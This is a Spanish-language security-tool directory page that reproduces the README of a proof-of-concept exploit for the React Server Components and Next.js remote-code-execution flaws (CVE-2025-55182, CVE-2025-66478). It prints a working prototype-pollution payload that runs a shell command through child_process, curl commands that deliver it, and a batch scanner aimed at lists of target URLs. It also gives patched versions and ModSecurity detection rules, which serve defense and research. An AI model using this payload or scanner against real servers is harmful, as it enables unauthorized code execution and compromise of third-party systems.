Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-POC — MVP mínimo para reproducir las vulnerabilidades React2Shell (CVE-2025-55182) y Next.js RSC RCE (CVE-2025-66478). Incluye payload de explotación, script de escaneo por lotes y reglas de ModSecurity WAF para mitigación. | Kitploit
Herramientas/GitHubGitHub/huahuai23/cve-2025-55182-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

MVP mínimo para reproducir las vulnerabilidades React2Shell (CVE-2025-55182) y Next.js RSC RCE (CVE-2025-66478). Incluye payload de explotación, script de escaneo por lotes y reglas de ModSecurity WAF para mitigación.

Ver Repositorio
12hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 / CVE-2025-66478 Entorno de reproducción de vulnerabilidades

Este es un MVP mínimo para reproducir las vulnerabilidades React2Shell (CVE-2025-55182) y Next.js RSC RCE (CVE-2025-66478).

⚠️ Advertencia

Este proyecto es solo para fines de investigación y educación en seguridad. No lo utilice en entornos de producción o en sistemas no autorizados.

Resumen de la vulnerabilidad

CVE-2025-55182 es una vulnerabilidad crítica en React Server Components que afecta:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Los atacantes pueden explotar una vulnerabilidad de deserialización en el Flight Protocol mediante una solicitud multipart/form-data especialmente diseñada, logrando ejecución remota de código (RCE).

Principio del ataque

  1. Obtener referencia de Chunk: Usar la sintaxis $@N para obtener un objeto Chunk interno
  2. Contaminación de prototipos: Inyectar un método malicioso a través de
then
$1:__proto__:then
  • Desencadenar ejecución: La Server Action llama al método then contaminado durante await
  • Secuestro de constructor: Secuestrar _formData.get como constructor de Function
  • Ejecución de código: Ejecutar código arbitrario mediante deserialización de Blob
  • Inicio rápido

    1. Instalar dependencias

    root@kitploit:~
    npm install
    # o
    yarn install
    # o
    pnpm install
    

    2. Iniciar el servidor de desarrollo

    root@kitploit:~
    npm run dev
    

    El servidor se iniciará en http://localhost:3000.

    3. Probar la vulnerabilidad

    Usa el script de prueba proporcionado:

    root@kitploit:~
    # Prueba de un solo objetivo
    ./test-exploit.sh http://localhost:3000
    
    # O directamente con curl
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      --data-binary @exploit-payload.txt
    

    Si la vulnerabilidad existe, verás en la respuesta una salida similar a uid= (resultado de la ejecución del comando id).

    Estructura de archivos

    root@kitploit:~
    .
    ├── app/
    │   ├── actions.ts              # Server Actions (punto de activación de la vulnerabilidad)
    │   ├── page.tsx                # Página principal
    │   ├── layout.tsx              # Diseño
    │   └── globals.css             # Estilos globales
    ├── package.json                # Configuración de dependencias (versiones afectadas)
    ├── next.config.js              # Configuración de Next.js
    ├── test-exploit.sh             # Script de prueba de vulnerabilidad para un objetivo
    ├── scan-targets.sh             # Script de escaneo masivo
    ├── exploit-payload.txt         # Archivo de payload del exploit
    ├── Cve-2025-55182-modsecurity-rules.conf      # Reglas de protección ModSecurity
    └── README.md                   # Este archivo
    

    Explicación de los scripts de prueba

    1. test-exploit.sh - Prueba de un solo objetivo

    Prueba si una sola URL es vulnerable:

    root@kitploit:~
    chmod +x test-exploit.sh
    ./test-exploit.sh http://localhost:3000
    

    Característica: Si la respuesta contiene uid= o gid=, la vulnerabilidad existe.

    2. scan-targets.sh - Escaneo masivo

    Escanea múltiples URLs objetivo:

    root@kitploit:~
    # Crear archivo de lista de objetivos
    cat > targets.txt << EOF
    http://localhost:3000
    https://example.com
    https://api.example.com:8080
    EOF
    
    # Ejecutar escaneo masivo
    chmod +x scan-targets.sh
    ./scan-targets.sh targets.txt
    

    Los resultados del escaneo se guardan en vulnerable_hosts.csv.

    Análisis de la estructura del payload

    root@kitploit:~
    {
      "then": "$1:__proto__:then",           // Secuestrar el método then
      "status": "resolved_model",             // Controlar la ruta de ejecución
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",      // Desencadenar deserialización de Blob
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"  // Secuestrar como Function
        }
      }
    }
    

    Puntos clave:

    1. $@0: Referencia al primer campo form-data, obtiene el objeto Chunk
    2. $1:proto:then: Accede a Chunk.prototype.then
    3. _response._prefix: Código malicioso inyectado (será ejecutado por el constructor de Function)
    4. $1:constructor:constructor: Object.constructor.constructor = Function

    Soluciones de mitigación

    Solución 1: Actualizar a versiones corregidas (recomendado)

    • React: 19.0.1, 19.1.2, 19.2.1 o superior
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 o superior
    root@kitploit:~
    npm install [email protected] [email protected] [email protected]
    

    Solución 2: Implementar reglas WAF de ModSecurity (mitigación temporal)

    Si no es posible actualizar de inmediato, se pueden implementar reglas de ModSecurity como mitigación temporal.

    Apache + mod_security

    root@kitploit:~
    # 1. Instalar mod_security
    sudo apt-get install libapache2-mod-security2
    
    # 2. Copiar archivo de reglas
    sudo cp modsecurity-rules.conf /etc/modsecurity/
    
    # 3. Incluir reglas en la configuración de Apache
    sudo vim /etc/apache2/mods-enabled/security2.conf
    # Añadir: Include /etc/modsecurity/modsecurity-rules.conf
    
    # 4. Reiniciar Apache
    sudo systemctl restart apache2
    

    Nginx + ModSecurity

    root@kitploit:~
    # 1. Instalar ModSecurity para Nginx
    sudo apt-get install libnginx-mod-security
    
    # 2. Copiar archivo de reglas
    sudo cp modsecurity-rules.conf /etc/nginx/modsec/
    
    # 3. Habilitar en la configuración de Nginx
    sudo vim /etc/nginx/nginx.conf
    # En el bloque http o server añadir:
    # modsecurity on;
    # modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
    
    # 4. Reiniciar Nginx
    sudo systemctl restart nginx
    

    Características de detección de las reglas

    Las reglas de ModSecurity interceptan las siguientes características:

    • ✅ Patrones de Flight Protocol ($@N, $BN)
    • ✅ Contaminación de prototipos (__proto__, constructor:constructor)
    • ✅ Llamadas peligrosas a módulos de Node.js (process.mainModule.require, require('child_process'))
    • ✅ Funciones de ejecución de comandos (execSync, exec)
    • ✅ Manipulación de objetos internos (_response, _chunks, _formData, _prefix)
    • ✅ Cabeceras de Server Action (Next-Action, RSC-Action-ID)

    ⚠️ Nota: Las reglas WAF son solo una mitigación temporal y no proporcionan protección completa. Es necesario actualizar a las versiones corregidas.

    Recomendaciones de seguridad

    Si tu aplicación puede estar afectada:

    1. Detectar inmediatamente: Usa el script test-exploit.sh para probar tu aplicación
    2. Actualizar inmediatamente: Actualiza a las versiones corregidas
    3. Rotar claves: Rota todas las variables de entorno, claves API, contraseñas de bases de datos
    4. Auditar registros: Revisa los registros de acceso en busca de solicitudes sospechosas de Next-Action
    5. Implementar WAF: Antes de actualizar, implementa las reglas de ModSecurity como protección temporal

    Comando curl para prueba rápida

    Si quieres probar directamente con curl (sin usar el script):

    root@kitploit:~
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      --data-binary @exploit-payload.txt
    

    Si el resultado contiene uid= o gid=, la vulnerabilidad existe.

    Referencias

    • Anuncio oficial de Vercel
    • GHSA de React
    • GHSA de Next.js
    • PoC de CVE (React)
    • Escáner de CVE (Next.js)
    • Documentación de ModSecurity

    Agradecimientos

    • Lachlan Davidson - Descubrimiento y reporte responsable de la vulnerabilidad
    • Meta Security & React Team
    • Vercel Team

    Licencia

    Este proyecto es solo para fines educativos. Al usar este código, cumple con las leyes y regulaciones aplicables.

    Descargar herramienta